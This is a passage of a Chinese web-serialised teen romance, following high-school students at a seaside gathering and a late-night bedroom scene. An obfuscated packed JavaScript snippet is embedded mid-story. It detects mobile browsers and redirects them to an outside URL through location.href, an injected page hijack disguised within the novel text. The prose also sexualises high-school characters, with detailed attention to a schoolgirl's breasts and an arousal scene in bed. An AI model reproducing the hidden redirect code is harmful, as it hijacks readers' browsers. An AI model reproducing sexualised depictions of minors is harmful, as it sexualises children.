周祠默默放下烤串的任务。皱眉走过去,不嫌热的把T恤穿上。 宁蜜收回打量周祠上半身的目光,偏头机灵的笑:“好啊。迟学长好,丞学长好,我认得二位。你们很优秀,也很出名。” 官尚刚刚已经跟宁蜜介绍过自己了。 是以也没废话。 宁蜜渐渐把目光转到这边唯一的女生许舒檬身上,甚至多看了一眼。刚走进来她就发现了,许舒檬在这个小团体,似乎有特别的待遇。 她大方道:“你好,你是不是跟周祠一个班的呀?” 许舒檬目光含笑:“嗯,你好,我叫许舒檬。” 几人自我介绍完,征得迟让同意,宁蜜就回去把同学们给带了过来。 人一多,就更热闹。 待都坐下,周祠烤的,和他们带过来的,合在一起,聚成一顿盛宴。 汽水开,酒瓶碰。 趁着盛夏的夜,大家快乐加倍。 到最后,与其说是半推半就,不如说是宁蜜随着人潮暗动刻意选的。 于是乎,周祠的座位,右手边是许舒檬,左手边成了宁蜜。 许舒檬吃饭比较慢,吃相很好,小口小口吃着,她也不急。 大家聊得开心,她时不时也抬起亮晶晶的眼睛起来看着说话的人。 周祠在旁边操不完的心:“凉透了。我再去给你热热。” 许舒檬在桌子底下碰他脚,让他别管自己。 周祠跟没听见似的,鼻音很重,带点性感的哑,在一众喧闹声中,靠她耳边轻声闹:“什么叫别管。我偏要管,怎么办。你打我,你打我呀。” 正在咬串的许舒檬,狠狠地闭了下眼,反感涌上来,只觉得——好欠。 周.反骨.祠,仅用一秒恢复正经起身。 他人高大,起身,小小的伸了个懒腰,不经意间露出腹部的劲瘦。 这下,全场的目光都聚焦在他身上。 官尚见时机刚好,招手合十,吆喝道:“祠儿,帮帮忙!顺个便。再烤点。” 周祠看了下盘子的东西,是没剩多少了。 于是任劳任怨,散漫地答了声:“昂。” 倒是新加入的同学们,在听他答应之后,脸上突然神色各异。 他们的目光没忍住,齐齐往周祠身上看去。 周祠是什么? 是天边孤月。清冷光辉。 是高岭姿态。从不靠近。 是拽哥痞性。自由任我。 所以,当一个极其接地气,没有架子,穿着人字拖,沙滩裤,就随意套了件白色短T的人出现在自己面前,然后,再亲自上手给你烤串的时候,别提这帮人内心有多激动的想当场喊出来。 他们脑袋碰脑袋,要不是碍于是被邀请的身份,是真的很想把这一幕给拍下来,然后开学拿给其他人看。 看看,看看,是周祠啊!周大少爷亲自给我们烤串! 多大的荣幸。 宁蜜为了维持身材,本就吃的不多。 见周祠起了,她也跟着一起起来。 第一轮是大鱼大肉。 第二轮那就是蔬菜为主。 周祠熟练的套上烧烤专用手套,然后拿着剪刀在剪茄子。 宁蜜看他麻溜利索的动作,就知道周祠在厨艺上是个能手,没有假以过他人之手的那种。 于是乎,变得更加接地气的他,在宁蜜心里,魅力加分项又多了一则。 怎么看,怎么好看。 她悄悄靠近,身上那股曼妙的花香萦绕在两人周围,一闻就知道喷的是某个大牌的香水。 周祠鼻子微不可察的动了动,觉得这股味道污染了自己用心烤好的美食。 再然后,他眼皮都没抬一下,抬起手肘格挡住宁蜜试图过来帮忙的手。 宁蜜嗲声嗲气:“周祠,我帮你忙好不好?” 周祠撩了下眼尾。 也不知道是现在的气氛让人极度放松,还是私底下,褪去学霸光环,周祠性格更多面,是那种,带点小贱,犯点小痞的邻家哥哥样。 只见烧烤架旁,周祠一边洒着调料,一边突然学宁蜜那样掐着嗓子,故作矫揉造作的样子:“周祠~我帮你忙~好不好~” 谁听了不说一句,学的好,学的妙。 宁蜜:“?” 周祠舌尖舔了下牙关,很是轻蔑的笑了声:“堵我那劲儿去哪儿了?” 学小女人,装小可爱,不适合这凶猛的女的。 还是许舒檬那种纯天然无污染的自然萌态,更是顺眼。 吹了下刘海,宁蜜抱手,心态极好的皮笑肉不笑:“你要不要这么记仇?” 上次放完狠话,说了什么你跟我天生一对后,宁蜜也不是没去找过他。 但周祠这人吧,在学校里躲人的技术是真的已经达到炉火纯青的地步,早就练出来了。 你找他,隔老远见到你,他都能避的远远的。 约他吃饭,拒绝。 送他礼物,无视。 宁蜜不信邪,三番五次在校园里碰到,主动迎上去,结果次次都被躲开。 更绝的一次,放了学,她想着送他自己亲手做的寿司。 墙头,白色校服下摆翻涌,少年双指并拢,放在眉骨上,对着墙下抱着饭盒的她,既潇洒又漫不经心地做了一个再见的手势。 随即飞快的翻到学校高墙的那边。 只留下一个潇洒高大的影子在自己脑海里不断搅起一汪春池。 当时的宁蜜,又气又害羞。 还从来没有这样一个人能让自己觉得这么难搞。 这会儿,被他毫不留情戳破自己的故作姿态。 宁蜜仰起小脑袋,女王姿态道:“你不喜欢这一挂的?”我看你旁边那女的用这种语气讲,你就很受用呀。 周祠皱眉,难得跟她搭话:“不是不喜欢这一卦,而是不喜欢你非得强行要自己变成这一卦。”一看就极其别扭。 宁蜜被这话说的颤了下心。 她性格要强,又想要做大众眼中,人缘极其好的人气王。所以很多时候都是一副完美大小姐的派头。 投其所好,是宁蜜拉拢人心的手段之一。 她妈妈常年位居贵妇圈C位。也是很满意女儿的交际能力,觉得女儿走哪儿,就受欢迎到哪儿,算是继承了她的衣钵,没给她丢脸。 殊不知,投别人的好投久了,宁蜜小小年纪,其实都忘了自己内心世界到底是什么样。 和周祠的第一次碰撞,让她短暂的忘了掩饰。 后来理智回归,她又开始了自己善用的伪装。 现在,就被人这么坦白的戳穿。 宁蜜扬了扬上翘的狐狸眼,及时打住,不想要再在这个话题上让自己尴尬下去:“有我能做的吗?” 周祠提了下嘴角,斩钉截铁:“能。” 宁蜜喜出望外:“那我能做什么?” 他头都没抬,就直接伸出手指,指了指宁蜜的座位:“立正,向右转,齐步走,然后坐下。” “烤好了别往这儿火堆凑。你不嫌热,我嫌挤。” 宁蜜觉得这人越相处,越有意思。 是幽默有趣,更是热血鲜活。 不再像是隔着一层朦胧的毛玻璃,他在那端,而她们,在这端。 被他扑哧逗笑后,宁蜜听话,好气又无奈地坐了回去。 行吧,给你个面子,就听你这么一次。 给许舒檬热的串好了。周祠给她送过来。 许舒檬抬头见他额头上出了一层薄薄的汗,擦了嘴就急忙起身。其实他真的没必要热,因为自己也吃不了那么多。 但人都做了,光张嘴吃的自己,也不好说什么。 她屁颠颠地跟在周祠后面,拿手指戳了戳人结实的后背:“周祠,我替你吧?” 周祠摆弄烤架上面的半熟品,反问:“你会?” 许舒檬抿唇,摇摇头。清透的双眸被炭火映得亮晶晶的,很是可爱:“不会。” 许舒檬有点失望,为自己暂时帮不上他什么忙。 周祠见她白天一副要跟自己划清界限的不屈趋势,现在终于让她主动心疼了点。 半打折商量,略卖惨道:“你帮我扇扇子吧。你看我背都打湿了。” 没外人,他还能脱个T恤。 有了外人,他就得注意点。 许舒檬往他背后一看,果真是湿濡了一片。衣服贴在少年如山峦起伏的背肌上,勾勒出清晰又健壮的紧致肌肉线条。 她高兴了:“好,我去拿。” 许舒檬拿了芭蕉扇,在他旁边哼哧哼哧地帮他扇风。 宁蜜本来和旁边的女生聊着话在喝椰汁。 见许舒檬不仅能在周祠旁边站着,甚至两人还有说有笑。 刚进口的椰汁差点被喷出来。 好友拍着她的背:“蜜蜜慢点。对了,刚刚周祠跟你说什么了?” 宁蜜拿手背擦去嘴上的椰汁,看着烧烤架旁互动的两个人,脸颊抽动,恨恨讲说:“他、让、我、一边儿去。” - 双标。 妥妥的双标。 但看周祠和许舒檬的互动,也没什么逾越的地方。 宁蜜相信自己的直觉,谈没谈,她这灵敏的鼻子闻得出来。 但你要说生分,没点情愫,倒也没干净到哪儿去。 那自己到底差哪儿了? 宁蜜拿出手机屏幕,极其慌张地照了下自己的脸。 “我长得不好看?” “没有呀。”皮肤瓷滑,找不出一丝瑕疵。 “好吧。是我不好相处?” “瞎说什么呢蜜蜜。你要不好相处,那我们都成什么了。” 和旁人一唱一和。 宁蜜心里的落差感就越发千丈。 闭眼,深呼吸。 宁蜜止不住打量许舒檬。 如果自己什么都不差,那怎么,周祠躲自己,就跟躲瘟疫一样。跟许舒檬,却相处的尤为和谐。 没道理呀。 吃完饭,大家一起收拾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14567159|154586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周祠刚忙活了一阵子,奉献了美味。现在大家都让他坐着,别动,诶就你,一根手指头也甭动。 周祠乐得当个大爷。咬着吸管,一只手懒散地放在许舒檬刚刚坐的空椅背上,闲闲吹着海风,领口耷拉,惬意的,畅快的,看其他人规规矩矩的干活。 收拾完毕,场子空了出来。 因为人多,大家也不好就一齐玩游戏,不然炸闹得很。 迟让从别墅客厅里头拿出投影设备,在一旁开始给大家放露天电影。很有露营休闲的范儿。 官尚不会放过这么一个交友的机会,于是和别的人开局狼人杀。 丞帆走哪儿不忘本。和其中几个男生开始玩起了篮球。 周祠刚干活出了一身的汗,他想洗澡,嫌自己一身臭汗味。 现在岸边有一些零散的游客,海岸线路灯很亮,下水游玩的人也很多。 约莫是图方便,他把衣服一脱,露出精壮的上半身,往海里猛地一头扎进去,利落的甩了下头。 宁蜜本来加入了狼人杀队伍,这会儿瞥见周祠往海边走去,她也有些心猿意马,跃跃欲试。 许舒檬坐座位上跟舒妈打视频报备。 上次短暂的相聚,家长们又开始各自的忙碌。 许舒檬习惯了,温柔的脸庞上,永远挂着懂事的笑容。 和舒妈聊了几句,她就开始看向无边无际的海。 没一会儿,眼前就出现一个苗条的身影。 宁蜜露出一个竭力友好的笑容,手扶在粉嫩膝盖上,微弯曲身子问她:“许舒檬,你会游泳吗?” 许舒檬收起支下巴的手,看向宁蜜:“会。” 宁蜜雀跃:“我想下海,但是你看,我朋友她们和你朋友玩的正开心。没有谁陪我。你愿意吗?” 许舒檬正愁一个人下水玩没意思,宁蜜主动跳出来邀约,她想都没想的就拒绝。 其实,一个人也不是不能玩。 但周祠在那儿,她多少有些介意。 因为如果看到自己一个人,周祠铁定又会贴过来陪自己。 说好了在外人面前要注意分寸,那自己就要谨遵恪守。不能自己打自己的脸。 好在宁蜜来了。 站起来,说着说着,许舒檬就要拉着宁蜜朝海边去。 宁蜜伸手止住,一脸疑惑,上下打量了下许舒檬:“等等。该不会,你要穿着这身去下水吧?” 许舒檬还穿着淡黄色的度假长裙。 经宁蜜一提醒,她往下看了眼自己的穿搭,恍然大悟:“不好意思。我怎么忘了。” 于是许舒檬和宁蜜态度极好的商量:“那你能等我吗?我回去换身衣服。” 宁蜜点头:“当然。我也要回去换。” 下海,就要穿比基尼。 宁蜜看着许舒檬欢快回房间的背影,突然就笑了。 宁蜜打小练舞,身材很不错。 她妈妈尤其注重自己的发育,从青春期起就拉着自己去美容院保养。 别看她瘦归瘦,但真脱了,自己水滴型的胸,和蜜桃的臀,不是吹的。 宁蜜看了眼许舒檬,怎么讲,嗯...一身宽松长裙笼罩,都来海边度假了,如果身材自信,也不会这么穿。 而且宁蜜觉得,她也不像是看起来很饱满的身型。 自信,加有意在周祠面前扳回点颜面,宁蜜这才打了主意,非得特意拉着许舒檬,在周祠面前一起做个比较拉踩。 不就是为了平衡心里那点,为什么她可以,而我不可以的酸涩心态。 时间蹉蹉跎跎。 两人再度集合。 许舒檬外面还是套了件遮臀的白色衬衫。 因为她要去海边,就要越过院子。 许舒檬不好意思就这么晃荡着比基尼从一大堆人群中越过,所以她稍微遮了遮。 反倒是宁蜜,换了一身白色挂脖比基尼后,走过来时,很大方的展露着自己曲线玲珑的身材。 凝视和赞赏,是两种不同的心态。 一个是带有偏见,一个是由心赞赏。 显然这会儿的同学们纷纷是后者。 大家闹哄着对宁蜜吹着口哨,毫不吝啬对她的赞美。就连男生们也是止不住的往宁蜜身上看了又看。 宁蜜得到自己想要的正面反馈,心情很愉悦。 又看了眼远处还在海里扑腾的周祠,心里有些飘飘然的打趣。 啊,怎么办,他没在这里听到那些对我的赞赏,好可惜。 又浪费了自己天秀的一次机会。 没关系。 山不来我面前,我就去就山。 不信杵他面前了,他还能刻意装眼不见。 宁蜜回头,看着许舒檬宽大的外套,把嗤之以鼻掩藏的很好。 她仰起骄傲的小下巴:“走吧,许舒檬。” 到海边了。 宁蜜看了眼周祠的方向。 人有快上来了的趋势。 她见身侧的许舒檬,还在磨磨蹭蹭的脱外套,没忍住催:“舒檬,快点吧。再磨蹭就晚了。” 许舒檬把拖鞋脱下来放在一旁的沙滩包里,又用透明防水套把手机套上,免得沾水。 宁蜜把手搭在额前,像远航的船长,一举一动的观察着远处周祠的举动。 少年真的起来了。 正拿手抹了把脸上的水珠,捋了把湿漉漉的头发,再掬了一捧海水,往自己身上浇去,洗掉沙子。 眼看着就要往这边回别墅的必经之路走过来。 宁蜜窃喜。 “许舒檬,你脱完没有,脱完了我们就下水了。” 宁蜜边说边回头,结果在看到身后,身上只剩一套比基尼的少女时。 突然两眼一黑,没忍住,学班里那些男生骂了声—— 卧槽! 肉弹嘛这不是。 18. 三分 说是迟,那是快。 宁蜜管不了那么多,拉着许舒檬就往海面扑下去。 许舒檬被拉了一个趔趄,整个人无端端全部沉入水里,脾气再温柔,那也是差点想发火。 等两人露出头,吐出嘴里的水时,周祠恰巧路过。 他只是垂着眼皮,多看了眼只露出一个头来的许舒檬,没说什么就走了。 因为游在海里,是以这会儿没人能看到许舒檬穿的是什么。 等人走远了。 宁蜜知道许舒檬要一个解释,于是气焰矮了点,只好先低头撒谎:“对不起舒檬。刚才一个海浪打过来没站稳,才拉了你一下。” “我道歉。” 刚被无缘无故拉下水的怨气少了点,许舒檬缓和下心情,木木的回:“那好吧,没事了。” 宁蜜见糊弄了过去,心里的负担才轻松了点。 两人拍着水,感受着水波荡漾,看着远处的海天一线。 宁蜜没忍住看了看旁边的她。 再三挣扎后,视线从许舒檬白皙嫩腻的脖子,顺势往下滑,滑到沉甸甸、白软软,正随着海水波动而起伏的两团上:“你妈妈有说过你身材很好吗?” 许舒檬啊?一声,再看宁蜜两眼直勾勾的盯着自己海水下面的胸部看。 她不怎么适应的稍侧了侧身,低头道:“我妈妈,没说过呀。” 宁蜜很是吃惊:“你和你妈妈都不讨论这些话题的吗?那除了你妈妈,谁还看过你的身材?” 许舒檬拿手掬了一捧水,笑着往宁蜜脸上洒去,实在不知道她为什么一直纠结这个:“能不能别说了,聊点其他的吧。” 宁蜜闭上眼。她把打湿了的长发往后顺,露出完美的鹅蛋脸型,睫毛上还沾着晶亮的水珠,很是认真道:“我说真的。你身材这么好,不露出来可惜了。可你偏偏——” 偏偏藏得密不透风。 还让我误判了你的实力。 有时候,赢了一点点,会让人狠狠嫉妒。 但赢很多,把人甩了一大截,只会让人望尘莫及,连反转的余地都没有。 这个年龄段大家也不可能去做手术作假。 那么,对于许舒檬的身材,宁蜜就只能说是——天赋异禀。 想起刚刚的那个香艳画面。 鹅黄色的三角式泳衣下,衬得少女皮肤格外粉嫩细腻。 尤为突出的两团,看起来就软绵棉的,想让人一头埋下去。尤其是她手臂微微收拢时,挤出来的事业线,又肉又欲。 怎么会有人这么瘦的同时,该饱满的地方竟然过分的饱满。比自己精心保养后的还夸张。 宁蜜叹了口气,觉得自己是不是潜在的变态。她觉得自己得待会儿回去搜一搜,女生是不是也有成为色女的潜质。 头次遭到这么不小的重创,宁蜜短暂的缓了口气。 她摸着胸口对自己默默打气。 缓缓,先让我缓缓。 等我缓够了,我再来和许舒檬一比高下。 一向只能赢的自己,怎么可能会输。 后来,玩水玩够了。见周祠上楼进了房间没出来,宁蜜觉得再装和谐待下去也有些索然无味。 “回了吧?” “好呀。” 舒檬装的大大的沙滩包里有毛巾。 她先友好递给宁蜜,问宁蜜要擦擦吗。 宁蜜摇摇头:“不用了,你自己擦吧。” 许舒檬慢慢擦干净自己身上的水,把衬衫再穿上。 宁蜜最后一次打量了眼许舒檬的身材,略不耐烦的觉得,穿吧穿吧,最好一辈子捂着别让别人看见。尤其是周祠。 - 院子里一大半的人已经散了。 该洗漱的洗漱,该休息的休息。 许舒檬拖着玩的有些酸痛的身子,回了2楼的独立大房间。 周祠的房间在隔壁。此刻静悄悄的。 她刚把泳衣换下,周祠就发了消息过来。 许家祠:【有药吗?】 柠檬周:【?】 许家祠:【/图片】 许舒檬皱着眉头点开一看。 周祠背上红了一大片。一整天的晒伤加海水浸泡,到临睡了,才开始发红发痒。没脱皮已经是最好的结局。 柠檬周:【有是有。你怎么不涂防晒?/怒】 这端,周祠大咧咧地趴床上,看着许舒檬发过来的消息,觉得这些字体可真是冷冰冰、冷酷无情的很。 许家祠:【你还问我?/龇牙咧嘴】 许舒檬已经从包里找出晒伤药膏了,看到这句话,倒吸三口气。 他怎么这么理直气壮,谁给他的勇气。 打开房间门,许舒檬轻手轻脚地敲开隔壁房门。 门开,对比之下稍暗的走廊,在周祠拧开房门的一瞬间,从里面泄出一束温馨的光,刚好打在她白到发光的脸上。 周祠见她动作放的极轻,有些拘束。于是没忍住拧眉开涮:“你偷地雷?” 许舒檬左看右看,见走廊上没人出来。 这才抬手一摁他光洁的腹部,把人往里面一推,再迅速把房门轻声关上。 周祠闷哼一声,没防备,就这么被她推到床尾,有些重心不稳的往后面倒去。 晒伤的后背接触到被面,有点火辣辣的疼。他痛苦的嘶一声:“不是,你做什么鬼鬼祟祟?” 许舒檬见他表情裂开,又忙不迭地上去查看他皮肤发红的地方:“我怕被别人看见。” “怕别人看见你半夜进我房,对我图谋不轨?” “周祠。正经点。” 她拉着他手臂起来,让他背过去对着自己。 许舒檬看了下情况,比她想象当中还严重。指尖稍微一碰,他都有些疼痛难忍。 许舒檬给他上药已经是驾轻就熟。挤了药膏出来,一点点的帮他轻柔抹匀。 清清凉凉的药膏涂在肌肤上,让周祠轻松了点,当即就缓了好大一口气。 许舒檬看见这些晒伤,于心不忍:“白天你怎么不涂防晒?” 周祠轻撇嘴角,漫不经心戏谑:“我想想。应该是,某个狠心的女人不给我涂。” 知道他嘴里的某个狠心的女人说的就是自己。 许舒檬抿了抿唇,小声反驳:“你又不是没长手。”说好要注意分寸的。 白天那么多人,学长校友们都在,她怎么给他涂。 周祠感觉到她药抹的差不多了,少年头也没回,就冷峻着脸,反手拉住她的细腕,直接把人慢腾腾地,给拉到自己身前来。 她下垂着眼,任他拉着往前。 头顶是冷冽的声音:“抬头。” 叫她抬头,她便也抬头。 周祠垂睨,看表情,倒真不像是在跟她插科打诨:“那你有本事不给我涂,现在也有本事别管我。” 她紧张的抠着手指,脸上是明显的哀怨:“......怎么可能。” 照顾彼此,是他们之间的默契。 她肚子疼,他背她去医院。 她学习进度慢,他就每天下了晚自习回来,给她单独开小灶补。 同样的,她也会投桃报李。 只是,只是今天实在不方便。 周祠不知道她在别扭什么。别人的看法到底有那么重要吗? 熟悉她的性子,也知道如果她自己想不通,一时半会她也回不了头。周祠暗自苦恼,也不知道这破规矩,自己什么时候熬出头。 今天没怎么单独说过话。 他见她晚上跟那个叫宁蜜的在下海玩。 于是拉着她在床边坐下,随便闲扯了两句。 他懒洋洋问:“你跟她熟?” 许舒檬默默摇头:“嗯...不怎么熟。”但一回生,二回熟。说不定下次见面,就可以大大方方打招呼了。 周祠吃惊:“那你还跟她玩的那么起劲。” 就那女的,那聪明劲儿,周祠担心总比别人慢一拍的许舒檬吃亏。最好是少招惹,各玩各的。 许舒檬见他大惊小怪,她往后面直直倒去,头发像烟花似的在脑后散开,看着天花板悠悠说:“刚好凑对,其他人当时没空。所以就一起玩了。” 周祠反手后撑,略微不着调地晃荡着腿,晃得大床都有些微动:“是吗?当时你明明可以叫我。” 她嘟了下嘴,侧脸看他:“你有完没完。” 抬脚就想踢他一下。 她穿的短裤,粉嫩的脚尖绷得笔直漂亮,一个下侧踢就往他脸上招呼去。 当然,不是真的想踢。 而是觉得周祠有时候就是这么欠揍,是得吓唬吓唬他。 两人开始胡闹。 她一抬,周祠就抬起大掌,阻挡在自己脸前,直接握住她主动送上来的匀称莹白小腿。 握住了,不肯放。 她保持这个姿势很难。毕竟上半身躺着,另一只脚还得保持上踢的动作。久了就腿酸。 “放手,快放手。” “不放。” “哈哈,哈哈,周祠,你很讨厌。” 他拿拇指轻轻摁住她的小腿肚,在细嫩的白肉上摁下一个可爱的窝窝。然后再拿指甲轻轻刮蹭。 这样不轻不重的力度,刮的许舒檬肌肤很痒,顾得了上就顾不下,两人在床上顿时闹做一团。 “还踢不踢我了?你胆儿大了?” “不踢了,真的,周祠,求放过。” 周祠见她眉眼轻弯,笑得眼泪都快飙出来了。 正打算大发慈悲松开,结果—— “祠儿,我数123,推门进来了啊。” 迟让和丞帆在门口敲门。 这门没上锁。 许舒檬犹如惊弓之鸟,立马推开上方的他坐了起来。 她低头看了眼自己,宽松的短袖不知道什么在打闹中,露了一半的圆润白皙肩膀出来。 头发也在被面上挣扎的时候,已经乱成蓬蓬的一团。 洗手间开着,许舒檬下意识想要往里躲,却又想着,要是学长他们要上厕所什么的,岂不是暴露了自己,显得自己到时候更无地自容。 离床的臀顿时又压了回来。 她回头无辜可怜的向周祠寻求帮助。 怎么办? 被他们知道自己半夜不睡觉,在周祠房间,会不会被人脑补出不好的画面? 周祠悠哉游哉,看她短短时间,脸上变幻出一百八十种表情,心里那叫一个看好戏痛快。 许舒檬瘪了瘪嘴,眼眸微动。好似在说:拜托拜托,就说你不方便,要睡了。婉拒他们进来好不好? 周祠扬了扬眉骨,清了清喉咙,嘴角是压制不住的颤抖。 许舒檬以为他真良心发现,这次要帮自己。 殊不知—— “直接进。门没锁。” - 丞帆双手插兜,进周祠房间跟逛街似的。 一会儿抬起他房间里的帆船装饰品看看,一会儿拨弄了下门上挂着的风铃。 丞帆见这人半裸着上身靠在床头柜上,一手在隆起的被子下,另一只手拿了手机在摆弄,也不知道在干/看些什么。 丞帆拇指刮了刮下巴,笑得不明就里:“哥俩来的不是时候?” 周祠漫不经心地撩了下眼皮:“你倒挺有自知之明。” 丞帆使劲夸张地嗅了嗅空气,没闻到什么怪异的腥味味道,这才知道这小子在开玩笑:“有你的。你可真是,嘴不硬一下,一天天的过不下去。” 倒是迟让淡定很多,从进来开始,修长的身形就闲散靠在桌边,公子哥的气度发挥的很优雅,连眼睛也没乱瞟。 周祠不懂大半夜两人找来干嘛,单手熄了手机屏幕直视二人,带着不虞:“有话就说。” 迟让声线干净,嗓音极柔地开口道:“明天东岛有小台风,问了旅行社,不建议上岛。可能要让檬檬失望了。” 东岛到了夜晚有星光划落,运气好的时候可以看到流星。 但沿海地区,那就是靠山吃山,靠海吃海。 天气比内陆光怪陆离的多。 迟让说完,周祠当即看他的目光都多了几分敬佩。 让让这人,几个兄弟当中,情商最高,为人最是体贴。 就说舒檬出来这次,迟让比他,都还为她考虑周到的多。 舒檬这几天私底下,没少在周祠面前夸迟学长真诚善良。 连带之前看片的偏见,也在这次深入接触中,抵消的无影无踪。 爱屋及乌,许舒檬既然都满意了,那周祠对迟让这人的好感自然也更浓厚了些。 周祠抿唇:“她很好说话。而且这是你们俩的毕业旅行,应该问你们俩失没失望才对。” 丞帆本来想去拍网上攻略里写的很流行的星空触摸图,但大老爷们,人家都说了,天气不建议,那就爽快不去。 也没啥好纠结的。 迟让浅笑点头,把少年白月光,光风霁月的出尘气质演绎的淋漓尽致:“嗯。那麻烦你明天跟檬檬说一声。” 周祠回:“嗯。”应该的。 说完了,两人也没要走的打算。 周祠隐约蹙眉,拿手摸了摸被子下的人,示意安抚。 许舒檬都快在被子里喘不过气了,一张小脸憋得通红。 她缩成小小的一团,周祠为了不让外人看出端倪,还把她往自己腰间带了带。 于是这个体位,就变成了她头深深埋在周 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不是爱现肌肉,就是爱把关节掰得咔咔响。 “不累啊。累什么累。再跑五公里都可以。” 丞帆见周祠睨了他一眼,接着顺理成章:“不是,祠儿你这么一说,站久了是有些腿酸。那这样,我坐吧?” 丞帆顺势要在床边坐下,周祠立刻反应很大的,低沉着嗓子厉声道:“起开!是你能坐的?” 许舒檬汗流浃背,整个人暗叫不好。 丞帆要真坐上来,岂不是就发现异常了。 周祠感受到她的哆嗦,被子下的那只手,捏了捏她的后颈,又揉了揉她的耳垂,示意她别怕。 丞帆被这身厉斥叫的半坐,半不敢坐。 倒是迟让始终云淡风轻,闲云野鹤般的置身事外。 丞帆只好佯装拂了下床单,老成打趣:“怎么,你床上有金子?” 周祠舌尖顶了下腮,心里暗叫三个好,好,好。都他妈是狗。 然而下一秒,少年心里却在沸腾叫嚣着不好。 舒檬屏住呼吸,隐隐约约察觉到有什么半软半硬的东西抵在自己胸口上。 轻微弹跳,隔着柔软的布料,温度发热。 周祠闭眼,待再掀开眼帘,薄薄眼皮下,是骇人的冷压。 他最后一次耐着心警告,脖子间的青筋充血鼓起:“我是真的累了,你们走不走?” 丞帆反拍迟让的胸,震惊啧舌:“我祠儿真是进步大。都知道用商量的语气了。” 迟让抿唇不语,最后双手插兜,一扫周祠遏制的表情,如沐春风的站直腰。 迟让嘴角微微勾,平静道:“好,你好生休息。” 两人依次走出。 最后迟让还不忘贴心的把门关上,回头意味不明地笑了一下。 关门声响。 随之而起的就是掀开被子的猛烈动作。 接触到新鲜空气,许舒檬像缺氧的鱼上了岸。大口大口的呼吸。 她脸颊微红,眼眸儿清润,黑色发丝顺着锁骨往领口处藏去。 待匆忙中和周祠烫人的漆黑目光对上时,许舒檬心脏骤缩,立刻又把眼睛移开。 她惦记要走,刚逃命般地朝床边挪动一下,肚子上就横穿过一只结实的手臂,她整个人又被往后拖了去。 “救——” 拖拽感下意识的让许舒檬喊出声。 但察觉到周祠只是把额头贴在自己后颈上时,她又合上了嘴。 空气开始变得逼仄。 窗外的海浪声渐渐成了盲音。 世界短暂静止。 两人身体隔着一道微弱的缝隙。 脖子后,传来少年的呼吸。 周祠闭着眼睛,像发烧,在升温,开始浑浊不堪。 “舒檬” 很软,很哑,像极小的呜咽,带着微弱的请求。 又像极了小时候,他跟在自己身后,让她别扔下自己一个人时的委屈。 他干涸地说着—— “别走。” - 许舒檬知道自己不该心软。 可再没有经验,她也该清楚,刚刚在被窝里,抵在自己身上的,那是什么东西。 她握着床沿没动。 也不敢动。 脑中的弦紧绷着。 “周…周祠,你还好吗?” 身后的人,像是努力遏制呼吸,又像是强行把某种欲望给憋下去。 那种穿喉而过的破重嘶哑,像猛兽狩猎前散发的致命危险信号,让人听了想害怕,全身毛孔都竖立。 可那是周祠啊。 是天底下对她最好,最唯命是从的周祠啊。 她该怕吗?该在这个时候不留情面的直接走吗? 可不走的话,她还能做什么。总不能,她帮他……撸吧? 隔了会儿,背后的人气息平稳了些。 然后才低哑着嗓子,闷声教训道:“还闹不闹了?” 许舒檬被这句话问的浑身一颤。 她自知有罪,要不是自己铁了心在外面划清界限,今天也不会闹这么一出。 其实迟学长他们进来,她大可大大方方的说自己是帮他上药。这又没什么。 但也不知道是心理作祟,还是脑子一时糊涂,她非得做贼心虚地藏起来。 藏就藏吧,一个敢想,一个敢做。 她还真就虎啦吧唧地往里钻地方。 被这句带点埋怨和脾气的‘还闹不闹了’,给说的有点愧疚。 许舒檬不经回头去看周祠。 他是平息下来了,欲望如潮水涨落般褪去。 但整个人就像是脱水后的虚弱。 果然,没及时纾解,就是这样吗?看起来,有点可怜。 周祠后脑勺往后磕,喉结突出,唇泛白,神色带点绯糜游离,此刻流露出一种微妙的,介于少年与男人之间的禁欲性感。 毫不怀疑,现在给他点一根烟,就极其像事后。 但许舒檬很清楚的知道,他根本就没有。 低头,咬唇,唯唯诺诺,算是认真的反悔:“不闹了。” 膈应他,还折腾自己。 搞得两败俱伤。 还不如顺其自然。 至于什么别的女的,许舒檬头次抛开心理负担的想。 要么,等他真的表现出对别的女生有意思了,那么她会,会大大方方,对他友好祝福的吧。 要么,毫无动静的话,那自己这些乱七八糟的想法,就先暂且见鬼去。 19. 三分 8月中旬,高三提前开了学。 书黛背着大包小包,大喊:“我书汉三又回来了啦!” 经过上学期两个月的努力,书黛成绩进步,最终在排名上跟许舒檬来了个你上我下。 这下,终于没人再能插足。 书黛高高兴兴,两人在前后脚选位置时,也特意选了第三排。 更高兴的是,李枝桠也回了来。 铁三角三人组,再度成为前后桌。 应该高兴的,但看李枝桠,却有点不开心。 书黛凑到许舒檬耳边讲:“别人不知道她和罗治南之间有情况,你看,罗治南的同桌位子被别人先抢了。” “李姐没得选,被迫分开。” “估计正在热恋上,放学了,罗治南有的哄。” 许舒檬看李枝桠萎靡了一上午,整个人提不起精神。 于是决定中午点三杯草莓奶盖,以庆祝三人重逢的名义,让李枝桠好受些。 毕竟,甜品,就是治愈这世间的一切良药。 高三开始,第一堂的数学课。 李里格格外的开心。 花了二十分钟的时间来表扬周祠。 再顺便用了二十分钟的时间,来折磨其他的同学。 许舒檬看着李里格发下来的试卷,拎在空中抖了抖,狐疑道:“黛黛,这个我们学过吗?” 她指着其中的某道题。 书黛也是眼冒金星,举高试卷看了又看:“好像,也许,学过。” 字都认识,符号也都知道,但是组合在一起,总觉得像天书。 李枝桠转过来,柳眉倒竖:“李老头怎么总是致力于打击我们?” 书黛无奈:“也许是周祠拉高了他对我们班的平均期待。” 许舒檬也趴在桌上,苦恼物理还有一大堆练习册没写,今晚不知道还要熬到几时。 书黛想到了什么,暗戳戳戳了下许舒檬的手掌心:“檬檬,你说你跟周祠是邻居对吧?” 许舒檬撑起身子,不好意思点点头。 她没把自己和周祠其实住在一起的事实交代完。只跟她们讲了自己和周祠住上下楼。 书黛小机灵:“那能不能,等周祠写完后,你跑个腿,然后传给我们看看?” 